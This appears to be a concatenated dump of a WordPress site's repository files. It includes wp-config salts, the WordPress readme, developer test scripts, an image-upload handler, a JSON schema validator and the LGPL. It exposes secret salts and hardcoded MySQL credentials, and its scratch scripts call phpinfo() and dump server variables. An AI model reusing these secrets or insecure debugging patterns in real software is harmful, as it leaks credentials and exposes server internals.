define('LOGGED_IN_SALT', '@l+xtHfOFkeL+R0N[dqgl}9.0V^Ed.&`W-e,n)rGu3<O`dx%,jO-D onw|Ct23zi');
define('NONCE_SALT', 'hQm|pbXd`@UD+aOYBE5>--4?v%R];vv%T[8+G;|1m@n<sM-219sRw!$V+h}GQ/EI');
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
define('WP_HOME','https://reize.com.au');
define('WP_SITEURL','https://reize.com.au');
//define( 'FORCE_SSL_ADMIN', true );
require_once(ABSPATH . 'wp-settings.php');
auxiliary.org-netbeans-modules-php-smarty.smarty-framework=true
browser.reload.on.save=true
include.path=${php.global.include.path}
php.version=PHP_54
source.encoding=UTF-8
src.dir=.
tags.asp=false
tags.short=false
web.root=.
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://www.netbeans.org/ns/project/1">
<type>org.netbeans.modules.php.project</type>
<configuration>
<data xmlns="http://www.netbeans.org/ns/php-project/1">
<name>16jason79_reize</name>
</data>
</configuration>
</project>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
<br /> Version 4.4.2
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h2>First Things First</h2>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h2>Installation: Famous 5-minute install</h2>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
</ol>
<h2>Updating</h2>
<h3>Using the Automatic Updater</h3>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That&#8217;s it!</li>
</ol>
<h3>Updating Manually</h3>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Migrating from other systems</h2>
<p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h2>System Requirements</h2>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
</ul>
<h3>Recommendations</h3>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.6</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
</ul>
<h2>Online Resources</h2>
<p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
<dl>
<dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h2>Final Notes</h2>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn&#8217;t modify any of the core code.</li>
</ul>
<h2>Share the Love</h2>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h2>License</h2>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="https://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a>
<br /> Version 4.4.2
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h2>First Things First</h2>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I&#8217;m proud to be a part of. Thousands of hours have gone into WordPress, and we&#8217;re dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h2>Installation: Famous 5-minute install</h2>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn&#8217;t work, don&#8217;t worry. It doesn&#8217;t work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="https://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &#8220;Profile&#8221; to change the password.</li>
</ol>
<h2>Updating</h2>
<h3>Using the Automatic Updater</h3>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
<li>Open <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That&#8217;s it!</li>
</ol>
<h3>Updating Manually</h3>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you&#8217;ve modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Migrating from other systems</h2>
<p>WordPress can <a href="https://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h2>System Requirements</h2>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
</ul>
<h3>Recommendations</h3>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>5.6</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.6</strong> or higher.</li>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="https://wordpress.org/">wordpress.org</a> on your site.</li>
</ul>
<h2>Online Resources</h2>
<p>If you have any questions that aren&#8217;t addressed in this document, please take advantage of WordPress&#8217; numerous online resources:</p>
<dl>
<dt><a href="https://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="https://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you&#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="https://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="https://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you&#8217;ve looked everywhere and still can&#8217;t find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="https://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h2>Final Notes</h2>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="https://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="https://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn&#8217;t modify any of the core code.</li>
</ul>
<h2>Share the Love</h2>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="https://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="https://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h2>License</h2>
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
</body>
</html>
<?php
function unpackage($queryString) {
$array = array();
parse_str($queryString, $array);
return $array;
}
$stringQuery = 'a1=4&A2=4';
$values = unpackage($stringQuery);
function package($values, $SecureHash, &$arrayRequestKey) {
$queryString = '';
//$hashData = $SecureHash;
// 1. The Secure Hash Secret is always first.
// 2. Then all DO fields are concatenated to the Secure Hash Secret in alphabetical order of the field name.
ksort($values);
foreach ($values as $key => $val) {
if (strlen($val) > 0) {
$queryString .= $key . '=' . rawurlencode($val) . '&';
//$hashData .= $val;
$arrayRequestKey[] = $key;
}
}
// Remove the trailing '&'.
$queryString = substr($queryString, 0, strlen($queryString) - 1);
// Create the secure hash and append it if the merchant secret has been provided.
if (strlen($SecureHash) > 0) {
$stringSecureHash = strtoupper(hash_hmac('SHA256', $queryString, pack('H*', $SecureHash)));
//strtoupper(md5($hashData))
$queryString = 'vpc_SecureHash=' . $stringSecureHash . '&vpc_SecureHashType=SHA256' . '&' . $queryString;
}
return $queryString;
}
$arrayRequestKey = array();
echo package($values, '123454567', $arrayRequestKey);
print_r($arrayRequestKey);
exit();
echo date('d-m-Y H:i:s');
exit();
echo dirname(__FILE__);
exit();
echo (extension_loaded('xdebug') ? '' : 'non '), 'exists';
ini_set('memory_limit', '256M');
phpinfo();
exit();
print_r($_SERVER);
echo dirname(__FILE__);
echo "Test trest";
<?php
$currentDate = strtotime("+24 hours", strtotime(date('Y-m-d H:i:s')));
$currentDate = date('Y-m-d H:i:s', $currentDate);
echo $currentDate."<br/>";
$currentDate = strtotime("-24 hours", strtotime(date('Y-m-d H:i:s')));
$currentDate = date('Y-m-d H:i:s', $currentDate);
echo $currentDate;
exit();
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
* Description of test
*
* @author Administrator
*/
function renderCouponCode() {
//date('ymdhis');
return date('His') . randDomChar(2) . date('ymd');
}
function randDomChar($length = 10) {
$string = '';
// You can define your own characters here.
$characters = "ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters) - 1)];
}
return $string;
}
//echo renderCouponCode()."<br/>";
//$currentDate = strtotime("+3 day", strtotime(date('Y-m-d')));
//$currentDate1 = strtotime(date('Y-m-d'));
echo date('Y-m-d H:i:s') . "<br/>";
$currentDate = strtotime("+6 hours", strtotime(date('Y-m-d H:i:s')));
echo date('Y-m-d H:i:s', $currentDate) . "<br/>";
echo date('Y-m-d', strtotime('2016-05-11 11:18:10')) . "<br/>";
$startDate = '2016-05-11 11:18:10';
$endDate = '2016-05-11 11:20:10';
$startDate = strtotime(date('Y-m-d', strtotime($startDate)));
$endDate = strtotime(date('Y-m-d', strtotime($endDate)));
echo $endDate - $startDate;
/**<span class="tribe-event-date-start">August 3 @ 8:00 am</span>
-
<span class="tribe-event-date-end">August 7 @ 5:00 pm</span>
<div class="recurringinfo"><div class="event-is-recurring"><span class="tribe-events-divider">
/**
* $arrayStringTitle = explode('-', str_replace(array('<span class="tribe-event-date-start">', '<span class="tribe-event-date-end">', '</span>'), array('', '', ''), $title));
$time1 = '';
$time2 = '';
$time3 = '';
$time4 = '';
print_r($arrayStringTitle);
if (count($arrayStringTitle) >= 2) {
$stringTime1 = (isset($arrayStringTitle[0]) && $arrayStringTitle[0]) ? $arrayStringTitle[0] : '';
if ($stringTime1) {
$arrayStringTime1 = explode('@', $stringTime1);
// print_r($arrayStringTime1);
// exit();
if (count($arrayStringTime1) == 2) {
$time1 = isset($arrayStringTime1[0]) ? $arrayStringTime1[0] : '';
$time2 = isset($arrayStringTime1[1]) ? $arrayStringTime1[1] : '';
//echo $time1;
//exit();
}
}
$stringTime2 = (isset($arrayStringTitle[1]) && $arrayStringTitle[1]) ? $arrayStringTitle[1] : '';
if ($stringTime2) {
$arrayStringTime2 = explode('@', $stringTime2);
if (count($arrayStringTime2) == 2) {
$time3 = isset($arrayStringTime2[0]) ? $arrayStringTime2[0] : '';
$time4 = isset($arrayStringTime2[1]) ? $arrayStringTime2[1] : '';
}
}
}
if ($time1 && $time2 && $time3 && $time4) {
$title = '<span class="tribe-event-date-start">' . trim($time1) . " - " . trim($time3) . "</span> @ <span class='tribe-event-date-end'>" . trim($time2) . " - " . trim($time4) . "</span>";
}
*/
<?php
$username = "dev";
$password = "dev123456";
$hostname = "dev.fgct.net";
//connection to the database
$dbhandle = mysql_connect($hostname, $username, $password)
or die("Unable to connect to MySQL");
echo "Connected to MySQL<br>";
?>
<!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<html>
<head>
<title>TODO supply a title</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<div style="width: 700px; height: 1864px; background: #ccc;">TODO write content</div>
</body>
</html>
<html>
<body>
<form action="" method="post">
Name: <input type="text" name="name" /><br>
E-mail: <input type="text" name="email" /><br>
<input name="retest[1]" type="checkbox" value="1"/>
<input name="retest[2]" type="checkbox" value="2"/>
<input name="retest[3]" type="checkbox" value="3"/>
<input type="submit">
</form>
</body>
</html>
<?php print_r($_POST); ?>
<!DOCTYPE html>
<html>
<body>
<form action="http://16jason107.dev.fgct.net/testupload/upload.php" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
<?php
$target_dir = dirname(dirname(__FILE__))."/wp-content/uploads/2016/04/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074::getLoader();
#!/usr/bin/env php
<?php
/**
* JSON schema validator
*
* @author Christian Weiske <christian.weiske@netresearch.de>
*/
/**
* Dead simple autoloader
*
* @param string $className Name of class to load
*
* @return void
*/
function __autoload($className)
{
$className = ltrim($className, '\\');
$fileName = '';
$namespace = '';
if ($lastNsPos = strrpos($className, '\\')) {
$namespace = substr($className, 0, $lastNsPos);
$className = substr($className, $lastNsPos + 1);
$fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
}
$fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
if (stream_resolve_include_path($fileName)) {
require_once $fileName;
}
}
/**
* Show the json parse error that happened last
*
* @return void
*/
function showJsonError()
{
$constants = get_defined_constants(true);
$json_errors = array();
foreach ($constants['json'] as $name => $value) {
if (!strncmp($name, 'JSON_ERROR_', 11)) {
$json_errors[$value] = $name;
}
}
echo 'JSON parse error: ' . $json_errors[json_last_error()] . "\n";
}
function getUrlFromPath($path)
{
if (parse_url($path, PHP_URL_SCHEME) !== null) {
//already an URL
return $path;
}
if ($path{0} == '/') {
//absolute path
return 'file://' . $path;
}
//relative path: make absolute
return 'file://' . getcwd() . '/' . $path;
}
/**
* Take a HTTP header value and split it up into parts.
*
* @param $headerValue
* @return array Key "_value" contains the main value, all others
* as given in the header value
*/
function parseHeaderValue($headerValue)
{
if (strpos($headerValue, ';') === false) {
return array('_value' => $headerValue);
}
$parts = explode(';', $headerValue);
$arData = array('_value' => array_shift($parts));
foreach ($parts as $part) {
list($name, $value) = explode('=', $part);
$arData[$name] = trim($value, ' "\'');
}
return $arData;
}
// support running this tool from git checkout
if (is_dir(__DIR__ . '/../src/JsonSchema')) {
set_include_path(__DIR__ . '/../src' . PATH_SEPARATOR . get_include_path());
}
$arOptions = array();
$arArgs = array();
array_shift($argv);//script itself
foreach ($argv as $arg) {
if ($arg{0} == '-') {
$arOptions[$arg] = true;
} else {
$arArgs[] = $arg;
}
}
if (count($arArgs) == 0
|| isset($arOptions['--help']) || isset($arOptions['-h'])
) {
echo <<<HLP
Validate schema
Usage: validate-json data.json
or: validate-json data.json schema.json
Options:
--dump-schema Output full schema and exit
--dump-schema-url Output URL of schema
-h --help Show this help
HLP;
exit(1);
}
if (count($arArgs) == 1) {
$pathData = $arArgs[0];
$pathSchema = null;
} else {
$pathData = $arArgs[0];
$pathSchema = getUrlFromPath($arArgs[1]);
}
$urlData = getUrlFromPath($pathData);
$context = stream_context_create(
array(
'http' => array(
'header' => array(
'Accept: */*',
'Connection: Close'
),
'max_redirects' => 5
)
)
);
$dataString = file_get_contents($pathData, false, $context);
if ($dataString == '') {
echo "Data file is not readable or empty.\n";
exit(3);
}
$data = json_decode($dataString);
unset($dataString);
if ($data === null) {
echo "Error loading JSON data file\n";
showJsonError();
exit(5);
}
if ($pathSchema === null) {
if (isset($http_response_header)) {
array_shift($http_response_header);//HTTP/1.0 line
foreach ($http_response_header as $headerLine) {
list($hName, $hValue) = explode(':', $headerLine, 2);
$hName = strtolower($hName);
if ($hName == 'link') {
//Link: <http://example.org/schema#>; rel="describedBy"
$hParts = parseHeaderValue($hValue);
if (isset($hParts['rel']) && $hParts['rel'] == 'describedBy') {
$pathSchema = trim($hParts['_value'], ' <>');
}
} else if ($hName == 'content-type') {
//Content-Type: application/my-media-type+json;
// profile=http://example.org/schema#
$hParts = parseHeaderValue($hValue);
if (isset($hParts['profile'])) {
$pathSchema = $hParts['profile'];
}
}
}
}
if (is_object($data) && property_exists($data, '$schema')) {
$pathSchema = $data->{'$schema'};
}
//autodetect schema
if ($pathSchema === null) {
echo "JSON data must be an object and have a \$schema property.\n";
echo "You can pass the schema file on the command line as well.\n";
echo "Schema autodetection failed.\n";
exit(6);
}
}
if ($pathSchema{0} == '/') {
$pathSchema = 'file://' . $pathSchema;
}
$resolver = new JsonSchema\Uri\UriResolver();
$retriever = new JsonSchema\Uri\UriRetriever();
try {
$urlSchema = $resolver->resolve($pathSchema, $urlData);
if (isset($arOptions['--dump-schema-url'])) {
echo $urlSchema . "\n";
exit();
}
} catch (Exception $e) {
echo "Error loading JSON schema file\n";
echo $urlSchema . "\n";
echo $e->getMessage() . "\n";
exit(2);
}
$refResolver = new JsonSchema\SchemaStorage($retriever, $resolver);
$schema = $refResolver->resolveRef($urlSchema);
if (isset($arOptions['--dump-schema'])) {
$options = defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : 0;
echo json_encode($schema, $options) . "\n";
exit();
}
try {
$validator = new JsonSchema\Validator();
$validator->check($data, $schema);
if ($validator->isValid()) {
echo "OK. The supplied JSON validates against the schema.\n";
} else {
echo "JSON does not validate. Violations:\n";
foreach ($validator->getErrors() as $error) {
echo sprintf("[%s] %s\n", $error['property'], $error['message']);
}
exit(23);
}
} catch (Exception $e) {
echo "JSON does not validate. Error:\n";
echo $e->getMessage() . "\n";
echo "Error code: " . $e->getCode() . "\n";
exit(24);
}
GNU LESSER GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.
0. Additional Definitions.
As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.
"The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.
An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.
A "Combined Work" is a work produced by combining or linking an
Application with the Library. The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".
The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.
The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.
1. Exception to Section 3 of the GNU GPL.
You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.
2. Conveying Modified Versions.
If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:
a) under this License, provided that you make a good faith effort to
ensure that, in the event an Application does not supply the
function or data, the facility still operates, and performs
whatever part of its purpose remains meaningful, or
b) under the GNU GPL, with none of the additional permissions of
this License applicable to that copy.
3. Object Code Incorporating Material from Library Header Files.
The object code form of an Application may incorporate material from
a header file that is part of the Library. You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:
a) Give prominent notice with each copy of the object code that the
Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the object code with a copy of the GNU GPL and this license
document.
4. Combined Works.
You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:
a) Give prominent notice with each copy of the Combined Work that
the Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the Combined Work with a copy of the GNU GPL and this license
document.
c) For a Combined Work that displays copyright notices during
execution, include the copyright notice for the Library among
these notices, as well as a reference directing the user to the
copies of the GNU GPL and this license document.
d) Do one of the following:
0) Convey the Minimal Corresponding Source under the terms of this
License, and the Corresponding Application Code in a form
suitable for, and under terms that permit, the user to
recombine or relink the Application with a modified version of
the Linked Version to produce a modified Combined Work, in the
manner specified by section 6 of the GNU GPL for conveying
Corresponding Source.
1) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (a) uses at run time
a copy of the Library already present on the user's computer
system, and (b) will operate properly with a modified version
of the Library that is interface-compatible with the Linked
Version.
e) Provide Installation Information, but only if you would otherwise
be required to provide such information under section 6 of the
GNU GPL, and only to the extent that such information is
necessary to install and execute a modified version of the
Combined Work produced by recombining or relinking the
Application with a modified version of the Linked Version. (If
you use option 4d0, the Installation Information must accompany
the Minimal Corresponding Source and Corresponding Application
Code. If you use option 4d1, you must provide the Installation
Information in the manner specified by section 6 of the GNU GPL
for conveying Corresponding Source.)
5. Combined Libraries.
You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:
a) Accompany the combined library with a copy of the same work based
on the Library, uncombined with any other library facilities,
conveyed under the terms of this License.
b) Give prominent notice with the combined library that part of it
is a work based on the Library, and explaining where to find the
accompanying uncombined form of the same work.
6. Revised Versions of the GNU Lesser General Public License.
The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.
If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.
Server-Side GA Content Experiments
===========================================================================================
While this is a standalone library, you might also be interested in the companion project
for general server-side Google Analytics tracking:
[php-ga](https://github.com/thomasbachem/php-ga).
About
-------------------------------------------------------------------------------------------
php-gacx is basically Google's [cx/api.js](https://developers.google.com/analytics/devguides/collection/gajs/experiments#cxjs)
